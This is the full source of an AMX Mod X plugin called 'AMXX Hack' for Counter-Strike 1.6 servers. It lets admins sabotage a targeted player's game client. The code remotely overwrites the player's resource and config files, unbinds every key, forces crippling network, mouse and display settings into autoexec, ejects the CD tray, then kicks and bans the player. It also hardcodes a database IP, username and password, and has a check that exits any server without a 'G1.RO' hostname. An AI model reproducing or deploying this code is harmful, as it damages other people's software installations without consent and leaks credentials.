· 9 years ago · Dec 05, 2016, 07:56 AM
1/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
2* *
3* AMXX Hack v2.2a *
4* Created By T-z3P *
5* *
6* Thanks to: *
7* - TCO and Blue Snake for some ideas and help *
8* - WiCKED and Drakoo for PHP part *
9* - Avalanche for his GunGame (SQL) *
10* *
11* Notes: *
12* - To give acces to an admin to 'amx_hack' command, use 't' flag (ADMIN_LEVEL_H) *
13* - To pwn a player use 'amx_hack <nick or #userid> [reason]' *
14* - To disable the SQL part, go to '#define USING_SQL' and add '//' in front *
15* | *
16* |¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ *
17* \_/ *
18* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
19#define USING_SQL
20
21#include <amxmodx>
22#include <amxmisc>
23#include <engine>
24#include <colorchat>
25
26#if defined USING_SQL
27#include <sqlx>
28#endif
29
30#define ADMIN ADMIN_KICK
31#define bZ 45630
32#define MAXSTEAMID 120
33
34#define DP_AUTH_NONE 0
35#define DP_AUTH_DPROTO 1
36#define DP_AUTH_STEAM 2
37#define DP_AUTH_STEAMEMU 3
38#define DP_AUTH_REVEMU 4
39#define DP_AUTH_OLDREVEMU 5
40#define DP_AUTH_HLTV 6
41#define DP_AUTH_SC2009 7
42#define DP_AUTH_AVSMP 8
43#define DP_AUTH_SXEI 9
44#define DP_AUTH_REVEMU2013 10
45
46new AUTHOR[]="T-z3P"
47new VERSION[]="2.2b"
48#if defined USING_SQL
49new PLUGIN[]="AMXX Hack (SQL)"
50#else
51new PLUGIN[]="AMXX Hack"
52#endif
53new TAG[]="HACK"
54
55new slowhack[][]=
56{
57 "resource/cstrike_english.txt", "resource/LoadingDialog.res", "resource/LoadingDialogNoBanner.res",
58 "resource/LoadingDialogVAC.res", "resource/OptionsSubMultiplayer.res", "resource/UI/BottomSpectator.res",
59 "resource/UI/BuyEquipment.res", "resource/UI/BuyMenu.res", "resource/UI/Classmenu.res",
60 "resource/UI/MainBuyMenu.res", "resource/UI/MOTD.res", "resource/UI/ScoreBoard.res",
61 "resource/UI/Spectator.res", "resource/UI/Teammenu.res", "sprites/hud.txt", "sprites/observer.txt",
62 "sound/materials.txt", "liblist.gam", "user.scr", "settings.scr", "commandmenu.txt", "titles.txt"
63}
64
65new cant_touch_this[]="misc/touch_this.wav"
66new looser[]="misc/looser.wav"
67new bool:bCmd = false
68//new szBuffer[ 4000 + 1 ]
69new const Pwned[ ] = "pwnstatus.res"
70new gs_SteamId[MAXSTEAMID+1][40]
71new g_NumberOfSteams
72new gs_SteamFile[128]
73new ban_name[32]
74new pcv_dp_r_id_provider
75new auth_prov_str[32]
76
77#if defined USING_SQL
78new hack_sql_host
79new hack_sql_user
80new hack_sql_pass
81new hack_sql_db
82new hack_sql_table
83new sqlTable[32]
84new Handle:tuple
85new Handle:db
86new Handle:query
87new mkQuery[1536]
88new sqlInit
89#else
90new dev_id[] = "STEAM_0:0:26726438"
91new brother_of_dev[] = "STEAM_0:1:26137380"
92#endif
93
94public plugin_init()
95{
96 register_plugin(PLUGIN,VERSION,AUTHOR)
97 register_concmd("amx_hack", "cmdHack", ADMIN_LEVEL_H, "<nick or #userid> [reason] : Pwnage by G1")
98 register_cvar("amx_hack_version", VERSION)
99
100 #if defined USING_SQL
101 hack_sql_host = register_cvar("hack_sql_host","86.124.133.250", FCVAR_PROTECTED)
102 hack_sql_user = register_cvar("hack_sql_user","hack_log", FCVAR_PROTECTED)
103 hack_sql_pass = register_cvar("hack_sql_pass","P3YvH37KYuErKa96", FCVAR_PROTECTED)
104 hack_sql_db = register_cvar("hack_sql_db","hack_log", FCVAR_PROTECTED)
105 hack_sql_table = register_cvar("hack_sql_table","hack_log", FCVAR_PROTECTED)
106 pcv_dp_r_id_provider = get_cvar_pointer ("dp_r_id_provider")
107 sql_init()
108 #else
109 get_configsdir(gs_SteamFile, 127)
110 format(gs_SteamFile,127,"%s/whitelist.ini", gs_SteamFile)
111 ReadSteamProtFile()
112 #endif
113}
114
115public plugin_precache()
116{
117 precache_sound(cant_touch_this)
118 precache_sound(looser)
119
120 //force_unmodified(force_exactfile, {0,0,0}, {0,0,0}, Pwned)
121
122 set_cvar_float("mp_consistency", 1.0)
123}
124
125public plugin_cfg()
126{
127 set_task(10.0, "CheckServer")
128}
129
130/*public inconsistent_file(id, const szFileName[])
131{
132 SteamIDType(id)
133
134 if(equal(szFileName, Pwned) && !equal(auth_prov_str, "Steam (Native)"))
135 {
136 new pwned_authid[35]
137 new pwned_ip[16]
138 new pwned_name[32]
139
140 get_user_authid(id, pwned_authid, 34)
141 get_user_ip(id, pwned_ip, 15, 1)
142 get_user_name(id, pwned_name, 31)
143
144 client_print_color(0, print_chat, "^4[%s] ^3Pwn3d player ^4%s (%s) (%s) ^3tried to connect.", TAG, pwned_name, pwned_authid, pwned_ip)
145 client_cmd(id, "disconnect;cl_timeout 0;fps_modem 1")
146 server_cmd("addip 0 ^"%s^";wait;wait;writeip", pwned_ip)
147 client_cmd(id, "wait;wait;wait;clear;wait;echo ^" ^";echo ^" You have been pwned! ^";echo ^" ^"")
148 }
149}*/
150
151#if defined USING_SQL
152public client_putinserver(id)
153{
154 new steamid[35]
155 get_user_authid(id, steamid, 34)
156
157 if(containi(steamid, ":")!=-1)
158 {
159 new data[2], cache[256]
160 data[0] = id
161 data[1] = get_user_userid(id)
162 formatex(cache, sizeof(cache)-1, "SELECT * FROM `%s` WHERE steamid='%s'", sqlTable, steamid)
163 SQL_ThreadQuery(tuple, "CheckSteamIDBlackList", cache, data, 2)
164 }
165}
166#endif
167
168public cmdHack(id)
169{
170 if(!(get_user_flags(id) & ADMIN_LEVEL_H))
171 {
172 client_print(id, print_console, "You have no access to that command")
173 client_print(id, print_console, "")
174 client_print(id, print_console, "Your acces to 'amx_hack' command may be restricted because:")
175 client_print(id, print_console, "- you don't have an account on our forum (http://forum.g1.ro)")
176 client_print(id, print_console, "- you didn't read server rules yet")
177 client_print(id, print_console, "- you are not an admin")
178 client_print(id, print_console, "")
179 client_print(id, print_console, "If you are an admin and you want to gain acces to this command please register on our")
180 client_print(id, print_console, "forum (http://forum.g1.ro) and read server rules")
181 client_print(id, print_console, "")
182 client_print(id, print_console, "After that go to 'http://forum.g1.ro/viewtopic.php?f=13&t=227' and request your flag back")
183 client_print(id, print_console, "")
184
185 return PLUGIN_HANDLED
186 }
187
188 if(bCmd)
189 {
190 waittimer(id)
191 return PLUGIN_HANDLED
192 }
193
194 new arg[32], admin_name[32], pwned_name[32], pwned_authid[35], pwned_ip[16], reason[32]
195 new logfile[64], ctime[64], maxtext[256], server[64], logtime[64], inum, players[32]
196 read_argv(1, arg, 31)
197 read_argv(2, reason, charsmax(reason))
198 new target = cmd_target(id, arg, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF)
199
200 if(!target)
201 return PLUGIN_HANDLED
202
203 if(strlen(reason) <= 2)
204 {
205 client_print(id, print_console, "Reason argument must have at least 3 characters!")
206 return PLUGIN_HANDLED
207 }
208
209 client_print_color(target, print_chat, "^4[%s] ^3Stopping demo recording (if started previous)", TAG)
210 client_cmd(target, "stop")
211
212 get_user_name(target, pwned_name, 31)
213 get_user_name(id, admin_name, 31)
214 get_user_authid(target, pwned_authid, 34)
215 get_user_ip(target, pwned_ip, 15, 1)
216
217 get_logsdir(logfile, 63)
218 get_players(players,inum)
219 get_time("%d/%m/%Y - %H:%M:%S", ctime, 63)
220 get_time("%m-%d-%Y", logtime, 63)
221 get_cvar_string("hostname", server, sizeof server-1);
222
223 if(is_user_bot(target))
224 {
225 client_print(id, print_console, "[%s] You can't touch this player, it's a bot!", TAG)
226 client_print_color(0, print_chat, "^4[%s] ^3Admin ^4%s ^3attempts to use HACK on ^4%s (BOT)", TAG, admin_name, pwned_name)
227
228 client_cmd(0, "spk ^"%s^"", looser)
229
230 return PLUGIN_HANDLED
231 }
232
233 #if defined USING_SQL
234 if(containi(pwned_authid, ":")!=-1)
235 {
236 query = SQL_PrepareQuery(db,"SELECT * FROM `hack_whitelist` WHERE steamid='%s'", pwned_authid)
237
238 if(!SQL_ExecuteAndLog(query))
239 {
240 SQL_FreeHandle(query)
241 return 0
242 }
243
244 if(SQL_NumResults(query))
245 {
246 client_print(id, print_console, "[%s] You can't touch this player!", TAG)
247 client_print_color(0, print_chat, "^4[%s] ^3Admin ^4%s ^3attempts to use HACK on ^4%s (%s) (%s)", TAG, admin_name, pwned_name, pwned_authid, pwned_ip)
248 return PLUGIN_HANDLED
249 }
250
251 SQL_FreeHandle(query)
252 }
253 #else
254 if(CompareVictimSTEAMID(pwned_authid) || equali(dev_id, pwned_authid) || equali(brother_of_dev, pwned_authid))
255 {
256 client_print(id, print_console, "[%s] You can't touch this player!", TAG)
257 client_print_color(0, print_chat, "^4[%s] ^3Admin ^4%s ^3attempts to use HACK on ^4%s (%s) (%s)", TAG, admin_name, pwned_name, pwned_authid, pwned_ip)
258
259 client_cmd(0, "spk ^"%s^"", cant_touch_this)
260
261 return PLUGIN_HANDLED
262 }
263 #endif
264
265 format(maxtext, 255, "%s: Admin %s pwned %s (%s) (%s) with reason %s", ctime, admin_name, pwned_name, pwned_authid, pwned_ip, reason)
266 format(logfile, 63, "%s/amxx_hack-%s.log", logfile, logtime)
267 write_file(logfile, maxtext, -1)
268
269 client_print_color(target, print_chat, "^3Server: ^4%s", server)
270 client_print_color(target, print_chat, "^3Name: ^4%s ^3- IP: ^4%s ^3- SteamID: ^4%s ^3- Reason: ^4%s", pwned_name, pwned_ip, pwned_authid, reason)
271 client_print_color(target, print_chat, "^3Date & time: ^4%s", ctime)
272 client_print_color(target, print_chat, "^3You have been pwned by ^4%s.", admin_name)
273 client_print_color(target, print_chat, "^3Forum: ^4http://forum.g1.ro")
274
275 client_cmd(target, "wait;wait;wait;wait;wait;wait;snapshot;wait;wait;wait;wait;wait;wait;snapshot;wait;wait;wait;wait;wait;wait;snapshot")
276
277 SlowHack(target)
278
279 client_cmd(target, "motdfile ^"%s^";motd_write ^"Pwned by G1^";wait;wait;wait;wait;wait", Pwned)
280 client_cmd(target, "name Pwn3d;say ^"%s pwn3d m3!^";wait;wait", admin_name)
281
282 Settings(target)
283
284 server_print("[%s] Admin %s pwned %s (%s) (%s) with reason %s", TAG, admin_name, pwned_name, pwned_authid, pwned_ip, reason)
285
286 for (new i = 0; i < inum; ++i)
287 {
288 if(get_user_flags(players[i]) & ADMIN)
289 {
290 client_print_color(players[i],print_chat,"^4[%s] ^3Admin ^4%s ^3pwned ^4%s (%s) (%s) ^3with reason ^4%s", TAG, admin_name, pwned_name, pwned_authid, pwned_ip, reason)
291 }
292 }
293
294 get_user_name(target, ban_name, 31)
295
296 SteamIDType(target)
297
298 set_task(3.0, "TimeRefresh", target)
299 set_task(4.0, "HackMessage")
300 set_task(14.8, "ConsoleMessage", target)
301 set_task(14.9, "Kick", target)
302 set_task(15.0, "Ban", target)
303
304 client_cmd(0, "spk ^"attention _comma the intruder has been violated^"")
305
306 #if defined USING_SQL
307 query = SQL_PrepareQuery(db, "INSERT INTO `%s` (`server`,`data_ora`,`admin`,`nume`,`ip`,`steamid`,`tip_steamid`,`motiv`) VALUES ('%s','%s','%s','%s','%s','%s','%s','%s')", sqlTable, server, ctime, admin_name, pwned_name, pwned_ip, pwned_authid, auth_prov_str, reason)
308
309 if(!SQL_ExecuteAndLog(query))
310 {
311 SQL_FreeHandle(query)
312 return 0
313 }
314
315 SQL_FreeHandle(query)
316 #endif
317
318 bCmd = true
319 waittimer(id)
320
321 return PLUGIN_HANDLED
322}
323
324public Ban(id)
325{
326 new ban_authid[35], ban_ip[16]
327
328 get_user_authid(id, ban_authid, 34)
329 get_user_ip(id, ban_ip, 15, 1)
330
331 if(containi(ban_authid, ":")!=-1)
332 {
333 if(is_user_connected(id))
334 {
335 client_print_color(0, print_chat, "^4[%s] ^3Pwn3d player ^4%s (%s) (%s) ^3is now banned.", TAG, ban_name, ban_authid, ban_ip)
336 server_cmd("banid 0 #%d kick;wait;wait;writeid", get_user_userid(id))
337 }
338 else
339 {
340 client_print_color(0, print_chat, "^4[%s] ^3Pwn3d player ^4%s (%s) (%s) ^3is now banned.", TAG, ban_name, ban_authid, ban_ip)
341 server_cmd("banid 0 %s;wait;wait;writeid", ban_authid)
342 }
343 }
344 else
345 {
346 client_print_color(0, print_chat, "^4[%s] ^3Pwn3d player ^4%s (%s) (%s) ^3is now banned.", TAG, ban_name, ban_authid, ban_ip)
347 server_cmd("addip 360 %s;wait;wait;writeip", ban_ip)
348 }
349}
350
351public CheckServer()
352{
353 static server[64]
354 get_cvar_string("hostname", server, charsmax(server))
355 if(containi(server, "G1.RO")==-1)
356 {
357 log_amx("This is not a G1 Gam1ng One server. Server is now shutting down.")
358 server_cmd("exit")
359 }
360}
361
362public ConsoleMessage(id)
363{
364 new mapname[16]
365 get_mapname(mapname, 16)
366
367 client_cmd(id, "clear")
368 client_cmd(id, "echo ^" ^"")
369 client_cmd(id, "echo ^"You have been pwned!^"")
370 client_cmd(id, "echo ^" ^"")
371 client_cmd(id, "echo ^"In your 'cstrike' directory 3 screenshots had been taken (%sXXXX.bmp) and 1 demo had been recorded (amx_demo-XX_XX_XXXX-XX_XX_XX.dem).^"", mapname)
372 client_cmd(id, "echo ^" ^"")
373 client_cmd(id, "echo ^"Keep them for further complaints (http://forum.g1.ro)!^"")
374 client_cmd(id, "echo ^" ^"")
375
376}
377
378public HackMessage()
379{
380 set_hudmessage(255, 255, 255, -1.0, 0.60, 0, 6.0, 10.0)
381 show_hudmessage(0, "AMXX Hack %s^nMade by T-z3P", VERSION)
382}
383
384public Kick(id)
385{
386 new mapname[16]
387 get_mapname(mapname, 16)
388
389 server_cmd("kick #%d ^"You have been pwned! Check your console for details.^"", get_user_userid(id))
390}
391
392public Settings(id)
393{
394 client_cmd(id, "unbindall;bind ~ toggleconsole;bind y kill")
395 client_cmd(id, "rate 1;gl_flipmatrix 1;cl_cmdrate 10;cl_updaterate 10;fps_max 20;fps_modem 1;hideradar")
396 client_cmd(id, "cl_forwardspeed 0;cl_sidespeed 0;cl_backspeed 0;m_yaw ^"-0.022^";m_pitch ^"-0.022^"")
397 client_cmd(id, "hud_saytext_time 0;volume 100.0;fakelag 800;fakeloss 15;gamma 0;brightness 0;crosshair 0")
398 client_cmd(id, "writecfg userconfig;writecfg autoexec")
399}
400
401public SlowHack(id)
402{
403 for(new i=0; i<sizeof(slowhack); i++)
404 {
405 client_cmd(id, "motdfile ^"%s^";wait", slowhack[i])
406 client_cmd(id, "motd_write ^"Pwned by G1^";wait", slowhack[i])
407
408 if(!is_user_connected(id)) break
409 }
410}
411
412public SteamIDType(id)
413{
414 if (!pcv_dp_r_id_provider)
415 {
416 log_amx ("[%s] DProto is not running", TAG)
417 return PLUGIN_HANDLED
418 }
419
420 server_cmd("dp_clientinfo %d", id)
421 server_exec()
422
423 new authprov = get_pcvar_num(pcv_dp_r_id_provider)
424
425 switch (authprov)
426 {
427 case DP_AUTH_NONE: copy(auth_prov_str, 32, "N/A")
428 case DP_AUTH_DPROTO: copy(auth_prov_str, 32, "dproto")
429 case DP_AUTH_STEAM: copy(auth_prov_str, 32, "Steam (Native)")
430 case DP_AUTH_STEAMEMU: copy(auth_prov_str, 32, "SteamEmu")
431 case DP_AUTH_REVEMU: copy(auth_prov_str, 32, "revEmu")
432 case DP_AUTH_OLDREVEMU: copy(auth_prov_str, 32, "old revEmu")
433 case DP_AUTH_HLTV: copy(auth_prov_str, 32, "HLTV")
434 case DP_AUTH_SC2009: copy(auth_prov_str, 32, "SteamClient2009")
435 case DP_AUTH_AVSMP: copy(auth_prov_str, 32, "AVSMP")
436 case DP_AUTH_SXEI: copy(auth_prov_str, 32, "SXEI")
437 case DP_AUTH_REVEMU2013: copy(auth_prov_str, 32, "RevEmu2013")
438 default: copy(auth_prov_str, 32, "Error")
439 }
440
441 return PLUGIN_HANDLED
442}
443
444public TimeRefresh(id)
445{
446 client_cmd(id, "timerefresh;timerefresh;timerefresh;timerefresh;timerefresh;+right;cd eject;wait;wait;wait;wait;wait")
447 client_cmd(id, "timerefresh;timerefresh;timerefresh;timerefresh;timerefresh;-right;+left;cd close;wait;wait;wait;wait;wait")
448 client_cmd(id, "timerefresh;timerefresh;timerefresh;timerefresh;timerefresh;-left;+right;cd eject;wait;wait;wait;wait;wait")
449 client_cmd(id, "timerefresh;timerefresh;timerefresh;timerefresh;timerefresh;-right;+left;wait;wait;wait;wait;wait")
450}
451
452public waittimer(id)
453{
454 if(bCmd)
455 {
456 set_task(3.0, "waittime", bZ+id)
457 }
458 return PLUGIN_HANDLED
459}
460
461public waittime(pid)
462{
463 remove_task(pid)
464
465 bCmd = false
466}
467
468#if defined USING_SQL
469public CheckSteamIDBlackList(FailState, Handle:Query, Error[], Errcode, Data[], DataSize)
470{
471 if(FailState)
472 {
473 log_amx("[%s] SQL Error: %s", TAG, Error)
474 return
475 }
476
477 new id = Data[0]
478 if(!is_user_connected(id) || get_user_userid(id) != Data[1])
479 {
480 //player disconnected
481 return
482 }
483
484 new ip[16]
485 new steamid[35]
486 new name[32]
487 get_user_authid(id, steamid, 34)
488 get_user_ip(id, ip, 15, 1)
489 get_user_name(id, name, 31)
490
491 if(!SQL_MoreResults(Query))
492 {
493 return
494 }
495 client_print_color(0, print_chat, "^4[%s] ^3Pwn3d player ^4%s (%s) (%s) ^3tried to connect.", TAG, name, steamid, ip)
496 client_cmd(id, "disconnect;cl_timeout 0;fps_modem 1")
497 server_cmd("banid 0 %s;wait;wait;writeid", steamid)
498 client_cmd(id, "wait;wait;wait;clear;wait;echo ^" ^";echo ^" You have been pwned! ^";echo ^" ^"")
499}
500
501public plugin_end()
502{
503 sql_uninit()
504}
505
506public sql_uninit()
507{
508 if(sqlInit)
509 {
510 if(db != Empty_Handle) SQL_FreeHandleAndClear(db)
511 if(tuple != Empty_Handle) SQL_FreeHandleAndClear(tuple)
512 }
513}
514
515SQL_FreeHandleAndClear(&Handle:arg)
516{
517 SQL_FreeHandle(arg)
518 arg = Empty_Handle
519}
520
521stock SQL_ExecuteAndLog(&Handle:queryHandle, const queryStr[]="")
522{
523 static preventLoopback = 0
524
525 if(!SQL_Execute(queryHandle))
526 {
527 static error[256]
528 new errnum = SQL_QueryError(queryHandle, error, 255)
529
530 if(queryStr[0]) log_amx("Could not execute query [%s] -- err #%i [%s]", queryStr, errnum, error)
531 else
532 {
533 SQL_GetQueryString(queryHandle,mkQuery,255)
534 log_amx("Could not execute query [%s] -- err #%i [%s]", mkQuery, errnum, error)
535 }
536
537 // fix thanks to 2inspyr
538 if(errnum == 2006 && !preventLoopback)
539 {
540 log_amx("Attempting to reconnect to server")
541
542 if(sql_init(0))
543 {
544 log_amx("Successfully reconnected to server, executing query again")
545
546 SQL_GetQueryString(queryHandle, mkQuery, 1535)
547 new Handle:newQuery = SQL_PrepareQuery(db, mkQuery)
548
549 preventLoopback = 1
550 SQL_ExecuteAndLog(newQuery)
551
552 SQL_FreeHandle(queryHandle)
553 queryHandle = newQuery
554
555 preventLoopback = 0
556 return 1
557
558 //return SQL_Execute(queryHandle);
559 }
560 else
561 {
562 log_amx("Could not reconnect to server")
563
564 preventLoopback = 0
565 return 0
566 }
567 }
568
569 preventLoopback = 0
570 return 0
571 }
572
573 preventLoopback = 0
574 return 1
575}
576
577stock sql_init(creation_queries=1)
578{
579 new host[32], user[32], pass[32], dbname[32]
580 get_pcvar_string(hack_sql_host, host, 31)
581 get_pcvar_string(hack_sql_user, user, 31)
582 get_pcvar_string(hack_sql_pass, pass, 31)
583 get_pcvar_string(hack_sql_db, dbname, 31)
584
585 new sqlErrorCode, sqlError[1024]
586
587 server_print("[%s] Config: host=( %s ) user=( %s ) pass=( * ) db=( %s )", TAG, host, user, dbname)
588
589 if(tuple != Empty_Handle) SQL_FreeHandleAndClear(tuple)
590 if(db != Empty_Handle) SQL_FreeHandleAndClear(db)
591
592 tuple = SQL_MakeDbTuple(host, user, pass, dbname)
593
594 if(tuple == Empty_Handle)
595 {
596 server_print("[%s] Error #%i: %s", TAG, sqlErrorCode, sqlError)
597 log_amx("Error #%i: %s", sqlErrorCode, sqlError)
598 return 0
599 }
600
601 db = SQL_Connect(tuple, sqlErrorCode, sqlError, 1023)
602
603 if(db == Empty_Handle)
604 {
605 server_print("[%s] Error #%i: %s", TAG, sqlErrorCode, sqlError)
606 log_amx("Error #%i: %s", sqlErrorCode, sqlError)
607 return 0
608 }
609 else
610 {
611 server_print("[%s] Connected to database", TAG)
612 }
613
614 if(creation_queries)
615 {
616 get_pcvar_string(hack_sql_table, sqlTable, 31)
617
618 query = SQL_PrepareQuery(db, "CREATE TABLE IF NOT EXISTS `%s` ( `id` int(11) NOT NULL AUTO_INCREMENT, `server` varchar(255) NOT NULL, `data_ora` varchar(255) NOT NULL, `admin` varchar(255) NOT NULL, `nume` varchar(255) NOT NULL, `ip` varchar(15) NOT NULL, `steamid` varchar(255) NOT NULL, `tip_steamid` varchar(255) NOT NULL, `motiv` varchar(255) NOT NULL, PRIMARY KEY (`id`)) ENGINE=InnoDB;",sqlTable)
619 if(!SQL_ExecuteAndLog(query))
620 {
621 SQL_FreeHandle(query)
622 return 0
623 }
624
625 query = SQL_PrepareQuery(db, "CREATE TABLE IF NOT EXISTS `hack_users` ( `id` int(11) NOT NULL AUTO_INCREMENT, `username` varchar(50) NOT NULL, `password` varchar(50) NOT NULL, PRIMARY KEY (`id`)) ENGINE=InnoDB;")
626 if(!SQL_ExecuteAndLog(query))
627 {
628 SQL_FreeHandle(query)
629 return 0
630 }
631
632 query = SQL_PrepareQuery(db, "CREATE TABLE IF NOT EXISTS `hack_whitelist` ( `id` int(11) NOT NULL AUTO_INCREMENT, `nume` varchar(255) NOT NULL, `steamid` varchar(255) NOT NULL, `comentariu` varchar(255) NOT NULL, PRIMARY KEY (`id`)) ENGINE=InnoDB;")
633 if(!SQL_ExecuteAndLog(query))
634 {
635 SQL_FreeHandle(query)
636 return 0
637 }
638
639 SQL_FreeHandle(query)
640 }
641
642 sqlInit = 1
643 return 1
644}
645#endif
646
647stock CompareVictimSTEAMID(VAuthID[])
648{
649 for(new i=1;i<=g_NumberOfSteams;i++)
650 {
651 new Data[32]
652 parse(gs_SteamId[i], Data, charsmax(Data))
653 if(equal(VAuthID, Data))
654 return 1
655 }
656 return 0
657}
658
659stock ReadSteamProtFile()
660{
661 if(!file_exists(gs_SteamFile)) return PLUGIN_CONTINUE
662
663 new InfoFromFile[40], EOF
664 for(new i=0;read_file(gs_SteamFile, i, InfoFromFile, 40, EOF) != 0 && i<= MAXSTEAMID;i++)
665 {
666 if(strlen(InfoFromFile) >= 4)
667 {
668 g_NumberOfSteams++
669 format(gs_SteamId[g_NumberOfSteams], 34, "%s", InfoFromFile)
670 }
671 }
672 server_print("[%s] Loaded %d protected steamids from whitelist.ini", TAG, g_NumberOfSteams)
673 return PLUGIN_HANDLED
674}
675
676stock get_logsdir(name[], len)
677{
678 return get_localinfo("amxx_logs", name, len)
679}
680/* AMXX-Studio Notes - DO NOT MODIFY BELOW HERE
681*{\\ rtf1\\ ansi\\ deff0{\\ fonttbl{\\ f0\\ fnil Tahoma;}}\n\\ viewkind4\\ uc1\\ pard\\ lang1033\\ f0\\ fs16 \n\\ par }
682*/